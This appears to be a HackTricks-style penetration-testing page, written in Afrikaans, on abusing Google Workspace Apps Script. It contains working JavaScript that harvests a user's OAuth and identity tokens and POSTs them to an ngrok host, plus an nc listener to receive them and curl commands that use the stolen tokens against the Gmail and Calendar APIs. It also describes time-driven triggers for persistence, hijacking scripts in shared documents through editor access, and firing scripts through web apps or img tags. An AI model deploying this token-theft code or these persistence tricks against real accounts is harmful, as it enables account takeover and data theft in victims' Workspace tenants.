# GWS - App Scripts

{{#include ../../../banners/hacktricks-training.md}}

## App Scripts

App Scripts is **kode wat geaktiveer sal word wanneer 'n gebruiker met redigeer toestemming toegang tot die dokument wat met die App Script gekoppel is** en na **aanvaarding van die OAuth prompt**.\
Hulle kan ook ingestel word om **elke sekere tyd uitgevoer te word** deur die eienaar van die App Script (Persistensie).

### Skep App Script

Daar is verskeie maniere om 'n App Script te skep, hoewel die mees algemene is **uit 'n Google Dokument (van enige tipe)** en as 'n **standalone projek**:

<details>

<summary>Skep 'n houer-gebound projek uit Google Docs, Sheets, of Slides</summary>

1. Maak 'n Docs dokument, 'n Sheets sigblad, of Slides aanbieding oop.
2. Klik **Extensions** > **Google Apps Script**.
3. In die skripredigeerder, klik **Untitled project**.
4. Gee jou projek 'n naam en klik **Rename**.

</details>

<details>

<summary>Skep 'n standalone projek</summary>

Om 'n standalone projek uit Apps Script te skep:

1. Gaan na [`script.google.com`](https://script.google.com/).
2. Klik voeg **New Project** by.
3. In die skripredigeerder, klik **Untitled project**.
4. Gee jou projek 'n naam en klik **Rename**.

</details>

<details>

<summary>Skep 'n standalone projek uit Google Drive</summary>

1. Maak [Google Drive](https://drive.google.com/) oop.
2. Klik **New** > **More** > **Google Apps Script**.

</details>

<details>

<summary>Skep 'n houer-gebound projek uit Google Forms</summary>

1. Maak 'n vorm in Google Forms oop.
2. Klik Meer more_vert > **Script editor**.
3. In die skripredigeerder, klik **Untitled project**.
4. Gee jou projek 'n naam en klik **Rename**.

</details>

<details>

<summary>Skep 'n standalone projek met die clasp opdraglyn hulpmiddel</summary>

`clasp` is 'n opdraglyn hulpmiddel wat jou toelaat om Apps Script projekte te skep, te trek/te druk, en te ontplooi vanaf 'n terminal.

Sien die [Command Line Interface using `clasp` guide](https://developers.google.com/apps-script/guides/clasp) vir meer besonderhede.

</details>

## App Script Scenario <a href="#create-using-clasp" id="create-using-clasp"></a>

### Skep Google Sheet met App Script

Begin deur 'n App Script te skep, my aanbeveling vir hierdie scenario is om 'n Google Sheet te skep en na **`Extensions > App Scripts`** te gaan, dit sal 'n **nuwe App Script vir jou oopmaak wat aan die blad gekoppel is**.

### Lek token

Om toegang tot die OAuth token te gee, moet jy op **`Services +` klik en skoppe soos**:

- **AdminDirectory**: Toegang tot gebruikers en groepe van die gids (as die gebruiker genoeg toestemming het)
- **Gmail**: Om toegang tot gmail data te verkry
- **Drive**: Om toegang tot drive data te verkry
- **Google Sheets API**: Sodat dit met die trigger werk

Om self die **nodige skoppe** te verander, kan jy na projekinstellings gaan en aktiveer: **`Show "appsscript.json" manifest file in editor`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
Om die versoek te vang kan jy net uitvoer:
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions aangevra om die App Script uit te voer:

<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Aangesien 'n eksterne versoek gemaak word, sal die OAuth-prompt ook **vra om toestemming om eksterne eindpunte te bereik**.

### Skep Trigger

Sodra die App gelees is, klik op **⏰ Triggers** om 'n trigger te skep. As **funksie** om te loop, kies **`getToken`**, loop by implementering **`Head`**, in gebeurtenisbron kies **`From spreadsheet`** en gebeurtenistipe kies **`On open`** of **`On edit`** (volgens jou behoeftes) en stoor.

Let daarop dat jy die **uitvoerings van die App Scripts in die Uitvoerings-oortjie** kan nagaan as jy iets wil debugeer.

### Deel

Om die **App Script** te **trigger**, moet die slagoffer met **Editor Toegang** verbind.

> [!TIP]
> Die **token** wat gebruik word om die **App Script** uit te voer, sal die een wees van die **skepper van die trigger**, selfs al word die lêer as Editor deur ander gebruikers geopen.

### Misbruik van Gedeel Met My dokumente

> [!CAUTION]
> As iemand **'n dokument met App Scripts en 'n trigger wat die Head** van die App Script gebruik, met jou gedeel het (nie 'n vaste implementering nie), kan jy die App Script-kode wysig (byvoorbeeld die steel token funksies byvoeg), dit toegang, en die **App Script sal uitgevoer word met die toestemmings van die gebruiker wat die dokument met jou gedeel het**! (let daarop dat die eienaar se OAuth-token toegangskopes sal hê soos gegee toe die trigger geskep is).
>
> 'n **kennisgewing sal aan die skepper van die script gestuur word wat aandui dat iemand die script gewysig het** (Wat van die gebruik van gmail-toestemmings om 'n filter te genereer om die waarskuwing te voorkom?)

> [!TIP]
> As 'n **aanvaller die skope van die App Script wysig**, sal die opdaterings **nie toegepas** word op die dokument totdat 'n **nuwe trigger** met die veranderinge geskep word. Daarom sal 'n aanvaller nie in staat wees om die eienaar se skepper token met meer skope as die een wat hy in die trigger wat hy geskep het, gestel het, te steel nie.

### Kopieer in plaas van deel

Wanneer jy 'n skakel skep om 'n dokument te deel, word 'n skakel soortgelyk aan hierdie een geskep: `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
As jy die einde **"/edit"** vir **"/copy"** **verander**, sal google jou vra of jy 'n **kopie van die dokument wil genereer:**

<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>

As die gebruiker dit kopieer en toegang, sal beide die **inhoud van die dokument en die App Scripts gekopieer word**, maar die **triggers nie**, daarom **sal niks uitgevoer word** nie.

### Deel as Webtoepassing

Let daarop dat dit ook moontlik is om 'n **App Script as 'n Webtoepassing** te deel (in die Editor van die App Script, implementeer as 'n Webtoepassing), maar 'n waarskuwing soos hierdie sal verskyn:

<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>

Gevolg deur die **tipiese OAuth-prompt wat** om die nodige toestemmings vra.

### Toets

Jy kan 'n versamelde token toets om e-posse te lys met:
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
Lys kalender van die gebruiker:
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script as Persistence

Een opsie vir volharding sou wees om 'n **dokument te skep en 'n trigger vir die getToken** funksie by te voeg en die dokument met die aanvaller te deel sodat elke keer wanneer die aanvaller die lêer oopmaak, hy **die token van die slagoffer uitbring.**

Dit is ook moontlik om 'n App Script te skep en dit elke X tyd (soos elke minuut, uur, dag...) te laat trigger. 'n Aanvaller wat **gekompromitteerde geloofsbriewe of 'n sessie van 'n slagoffer het, kan 'n App Script tyd-trigger instel en elke dag 'n baie bevoorregte OAuth-token lek**:

Skep eenvoudig 'n App Script, gaan na Triggers, klik op Voeg Trigger by, en kies as gebeurtenisbron Tyd-gedrewe en kies die opsies wat die beste by jou pas:

<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>

> [!CAUTION]
> Dit sal 'n sekuriteitswaarskuwing e-pos en 'n push boodskap na jou mobiele toestel stuur wat jou hiervan in kennis stel.

### Shared Document Unverified Prompt Bypass

Boonop, as iemand **met jou 'n dokument met **redigeerder toegang** gedeel het, kan jy **App Scripts binne die dokument genereer** en die **EIGENAAR (skepper) van die dokument sal die eienaar van die App Script wees**.

> [!WARNING]
> Dit beteken dat die **skepper van die dokument as die skepper van enige App Script** wat iemand met redigeerder toegang binne dit skep, sal verskyn.
>
> Dit beteken ook dat die **App Script vertrou sal word deur die Workspace omgewing** van die skepper van die dokument.

> [!CAUTION]
> Dit beteken ook dat as 'n **App Script reeds bestaan** en mense **toegang gegee het**, kan enigeen met **Redigeerder** toestemming op die dokument dit **wysig en daardie toegang misbruik.**\
> Om dit te misbruik, moet jy ook hê dat mense die App Script trigger. En 'n slim truuk is om die **script as 'n webtoepassing te publiseer**. Wanneer die **mense** wat reeds **toegang** tot die App Script gegee het, die webblad toegang, sal hulle die **App Script trigger** (dit werk ook met `<img>` tags).

{{#include ../../../banners/hacktricks-training.md}}
